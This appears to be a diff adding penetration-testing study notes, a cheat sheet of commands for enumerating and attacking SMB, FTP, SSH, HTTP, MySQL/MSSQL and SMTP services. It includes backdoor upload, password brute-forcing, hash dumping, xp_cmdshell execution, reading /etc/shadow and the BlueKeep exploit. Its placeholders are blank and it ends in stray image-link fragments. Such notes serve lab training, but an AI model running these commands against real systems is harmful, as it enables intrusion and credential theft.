+```
+
+**Nmblookup**
+
+nmblookup -A <TARGET_IP>
+
+
+**SMBMap**
+
+```
+smbmap -u guest -p "" -d . -H
+
+smbmap -u -p '' -d . -H
+
+## Run a command
+smbmap -u -p '' -H -x 'ipconfig'
+## List all drives
+smbmap -u -p '' -H -L
+## List dir content
+smbmap -u -p '' -H -r 'C$'
+## Upload a file
+smbmap -u -p '' -H --upload '/root/sample_backdoor' 'C$\sample_backdoor'
+## Download a file
+smbmap -u -p '' -H --download 'C$\flag.txt'
+```
+
+**SMB Connection**
+
+```
+# Connection
+smbclient -L -N
+smbclient -L -U
+smbclient /// -U
+smbclient ///admin -U admin
+smbclient ///public -N #NULL Session
+## SMBCLIENT
+smbclient ///share_name
+help
+ls
+get
+```
+
+**RPCClient**
+
+```
+rpcclient -U "" -N
+## RPCCLIENT
+enumdomusers
+enumdomgroups
+lookupnames admin
+```
+
+**Enum4Linux**
+
+```
+enum4linux -o
+enum4linux -U
+enum4linux -S
+enum4linux -G
+enum4linux -i
+enum4linux -r -u "" -p ""
+enum4linux -a -u "" -p ""
+enum4linux -U -M -S -P -G
+
+## NULL SESSIONS
+
+# 1 - Use โenum4linux -nโ to make sure if โ<20>โ exists:
+enum4linux -n
+# 2 - If โ<20>โ exists, it means Null Session could be exploited. Utilize the following command to get more details:
+enum4linux
+# 3 - If confirmed that Null Session exists, you can remotely list all share of the target:
+smbclient -L WORKGROUP -I -N -U ""
+# 4 - You also can connect the remote server by applying the following command:
+smbclient \\\\\\c$ -N -U ""
+# 5 - Download those files stored on the share drive:
+smb: \> get file_shared.txt
+```
+
+**Hydra**
+
+```
+gzip -d /usr/share/wordlists/rockyou.txt.gz
+
+hydra -l admin -P /usr/share/wordlists/rockyou.txt smb
+```
+
+We can use a wordlist generator tools (how [Cewl](https://app.gitbook.com/s/iS3hadq7jVFgSa8k5wRA/practical-ethical-hacker-notes/tools/cewl)), to create custom wordlists.
+
+**Metasploit**
+
+```
+# METASPLOIT Starting
+msfconsole
+msfconsole -q
+
+# METASPLOIT SMB
+use auxiliary/scanner/smb/smb_version
+use auxiliary/scanner/smb/smb_enumusers
+use auxiliary/scanner/smb/smb_enumshares
+use auxiliary/scanner/smb/smb_login
+use auxiliary/scanner/smb/pipe_auditor
+
+## set options depends on the selected module
+set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
+set SMBUser
+set RHOSTS
+exploit
+```
+
+**FTP**
+
+
+
+**Nmap**
+
+```
+sudo nmap -p 21 -sV -sC -O
+nmap -p 21 -sV -O
+
+nmap -p 21 --script ftp-anon
+nmap -p 21 --script ftp-brute --script-args userdb=
+```
+
+**Ftp Client**
+
+```
+ftp
+ls
+cd /../..
+get
+put
+```
+
+**Hydra**
+
+```
+hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt -t 4 ftp
+```
+
+**SSH**
+
+
+
+**Nmap**
+
+```
+# NMAP
+sudo nmap -p 22 -sV -sC -O
+
+nmap -p 22 --script ssh2-enum-algos
+nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full
+nmap -p 22 --script ssh-auth-methods --script-args="ssh.user="
+
+nmap -p 22 --script=ssh-run --script-args="ssh-run.cmd=cat /home/student/FLAG, ssh-run.username=, ssh-run.password="
+
+nmap -p 22 --script=ssh-brute --script-args userdb=
+```
+
+**Netcat**
+
+```
+# NETCAT
+nc
+nc 22
+```
+
+**SSH**
+
+```
+ssh @ 22
+ssh root@ 22
+```
+
+**Hydra**
+
+```
+hydra -l -P /usr/share/wordlists/rockyou.txt ssh
+```
+
+**Metasploit**
+
+```
+use auxiliary/scanner/ssh/ssh_login
+
+set RHOSTS
+set USERPASS_FILE /usr/share/wordlists/metasploit/root_userpass.txt
+set STOP_ON_SUCCESS true
+set VERBOSE true
+exploit
+```
+
+**HTTP**
+
+
+
+**Nmap**
+
+```
+sudo nmap -p 80 -sV -O
+
+nmap -p 80 --script=http-enum -sV
+nmap -p 80 --script=http-headers -sV
+nmap -p 80 --script=http-methods --script-args http-methods.url-path=/webdav/
+nmap -p 80 --script=http-webdav-scan --script-args http-methods.url-path=/webdav/
+```
+
+**Alternative**
+
+```
+whatweb
+http
+browsh --startup-url http://
+
+dirb http://
+dirb http:// /usr/share/metasploit-framework/data/wordlists/directory.txt
+
+hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-head /admin/ #brute http basic auth
+hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-get /admin/ #brute http digest
+hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed" # brute http post form
+hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed:H=Cookie\: PHPSESSID=if0kg4ss785kmov8bqlbusva3v" #brute http authenticated post form
+
+wget
+curl | more
+curl -I http:///
+curl --digest -u : http:///
+
+lynx
+```
+
+**Metasploit**
+
+```
+use auxiliary/scanner/http/brute_dirs
+use auxiliary/scanner/http/robots_txt
+use auxiliary/scanner/http/http_header
+use auxiliary/scanner/http/http_login
+use auxiliary/scanner/http/http_version
+
+# Global set
+setg RHOSTS
+setg RHOST
+
+## set options depends on the selected module
+set HTTP_METHOD GET
+set TARGETURI //
+
+set USER_FILE
+set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
+set VERBOSE false
+set AUTH_URI //
+exploit
+```
+
+**SQL**
+
+
+
+**Nmap**
+
+```
+sudo nmap -p 3306 -sV -O
+
+nmap -p 3306 --script=mysql-empty-password
+nmap -p 3306 --script=mysql-info
+nmap -p 3306 --script=mysql-users --script-args="mysqluser='',mysqlpass=''"
+nmap -p 3306 --script=mysql-databases --script-args="mysqluser='',mysqlpass=''"
+nmap -p 3306 --script=mysql-variables --script-args="mysqluser='',mysqlpass=''"
+
+nmap -p 3306 --script=mysql-audit --script-args="mysql-audit.username='',mysql-audit.password='',mysql-audit.filename=''"
+
+nmap -p 3306 --script=mysql-dump-hashes --script-args="username='',password=''"
+
+nmap -p 3306 --script=mysql-query --script-args="query='select count(*) from .;',username='',password=''"
+
+nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.10.13
+
+## Microsoft SQL
+nmap -sV -sC -p 1433
+
+nmap -p 1433 --script ms-sql-info
+nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433
+nmap -p 1433 --script ms-sql-empty-password
+
+nmap -p 3306 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt
+
+nmap -p 3306 --script ms-sql-query --script-args mssql.username=,mssql.password=,ms-sql-query.query="SELECT * FROM master..syslogins" -oN output.txt
+
+nmap -p 3306 --script ms-sql-dump-hashes --script-args mssql.username=,mssql.password=
+
+nmap -p 3306 --script ms-sql-xp-cmdshell --script-args mssql.username=,mssql.password=,ms-sql-xp-cmdshell.cmd="ipconfig"
+
+nmap -p 3306 --script ms-sql-xp-cmdshell --script-args mssql.username=,mssql.password=,ms-sql-xp-cmdshell.cmd="type c:\flag.txt"
+```
+
+```
+# MYSQL
+mysql -h -u
+mysql -h -u root
+
+# Mysql client
+help
+show databases;
+use ;
+select count(*) from ;
+select load_file("/etc/shadow");
+```
+
+**Hydra**
+
+```
+hydra -l -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt mysql
+```
+
+**Metasploit**
+
+```
+use auxiliary/scanner/mysql/mysql_schemadump
+use auxiliary/scanner/mysql/mysql_writable_dirs
+use auxiliary/scanner/mysql/mysql_file_enum
+use auxiliary/scanner/mysql/mysql_hashdump
+use auxiliary/scanner/mysql/mysql_login
+
+## MS Sql
+use auxiliary/scanner/mssql/mssql_login
+use auxiliary/admin/mssql/mssql_enum
+use auxiliary/admin/mssql/mssql_enum_sql_logins
+use auxiliary/admin/mssql/mssql_exec
+use auxiliary/admin/mssql/mssql_enum_domain_accounts
+
+# Global set
+setg RHOSTS
+setg RHOST
+
+## set options depends on the selected module
+set USERNAME root
+set PASSWORD ""
+
+set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
+set VERBOSE false
+set PASSWORD ""
+
+set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
+set PASSWORD ""
+
+set USER_FILE /root/Desktop/wordlist/common_users.txt
+set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
+set VERBOSE false
+set STOP_ON_SUCCESS true
+
+set CMD whoami
+exploit
+```
+
+**SMTP**
+
+
+
+**Nmap**
+
+```
+sudo nmap -p 25 -sV -sC -O
+
+nmap -sV -script banner
+```
+
+```
+nc 25
+telnet 25
+
+# TELNET client - check supported capabilities
+HELO attacker.xyz
+EHLO attacker.xyz
+```
+
+```
+smtp-user-enum -U /usr/share/commix/src/txt/usernames.txt -t
+```
+
+**Metasploit**
+
+```
+# METASPLOIT
+service postgresql start && msfconsole -q
+
+# Global set
+setg RHOSTS
+setg RHOST
+
+use auxiliary/scanner/smtp/smtp_enum
+```
+
+#### Vulnerability Assessment
+
+
+
+```
+# HEARTBLEED
+nmap -sV --script ssl-enum-ciphers -p
+nmap -sV --script ssl-heartbleed -p 443
+
+# ETERNALBLUE
+nmap --script smb-vuln-ms17-010 -p 445
+
+# BLUEKEEP
+msfconsole
+use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
+
+# LOG4J
+nmap --script log4shell.nse --script-args log4shell.callback-server=:1389 -p 8080
+```
+
+```
+searchsploit badblue 2.7
+```
+
+#### Host Based Attacks
+
+
+
+**Windows Exploitation**
+
+
+
+**IIS WEBDAV**
+
+```
+# IIS WEBDAV
+davtest -url
+davtest -auth : -url http:///webdav
+
+cadaver [OPTIONS]
+
+nmap -p 80 --script http-enum -sV .png)
.png)